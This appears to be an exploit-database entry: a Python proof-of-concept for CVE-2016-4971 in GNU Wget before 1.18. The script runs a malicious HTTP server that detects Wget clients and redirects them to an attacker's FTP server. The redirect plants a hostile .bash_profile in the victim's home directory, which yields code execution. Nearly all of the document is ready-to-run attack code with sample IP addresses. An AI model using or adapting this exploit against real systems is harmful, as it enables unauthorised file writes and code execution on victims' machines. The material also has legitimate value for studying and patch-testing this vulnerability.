GNU wget Arbitrary File Upload / Code Execution

`# Exploit Title: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2)  
# Original Exploit Author: Dawid Golunski  
# Exploit Author: liewehacksie  
# Version: GNU Wget < 1.18   
# CVE: CVE-2016-4971  
  
import http.server  
import socketserver  
import socket  
import sys  
  
class wgetExploit(http.server.SimpleHTTPRequestHandler):  
  
def do_GET(self):  
# This takes care of sending .wgetrc/.bash_profile/$file  
  
print("We have a volunteer requesting " + self.path + " by GET :)\n")  
if "Wget" not in self.headers.get('User-Agent'):  
print("But it's not a Wget :( \n")  
self.send_response(200)  
self.end_headers()  
self.wfile.write("Nothing to see here...")  
return  
  
self.send_response(301)  
print("Uploading " + str(FILE) + "via ftp redirect vuln. It should land in /home/ \n")  
new_path = 'ftp://anonymous@{}:{}/{}'.format(FTP_HOST, FTP_PORT, FILE)  
  
print("Sending redirect to %s \n"%(new_path))  
self.send_header('Location', new_path)  
self.end_headers()  
  
  
HTTP_LISTEN_IP = '192.168.72.2'  
HTTP_LISTEN_PORT = 80  
FTP_HOST = '192.168.72.4'  
FTP_PORT = 2121  
FILE = '.bash_profile'  
  
handler = socketserver.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)  
  
print("Ready? Is your FTP server running?")  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
result = sock.connect_ex((FTP_HOST, FTP_PORT))  
if result == 0:  
print("FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT))  
else:  
print("FTP is down :( Exiting.")  
exit(1)  
  
print("Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT)  
  
handler.serve_forever()  
`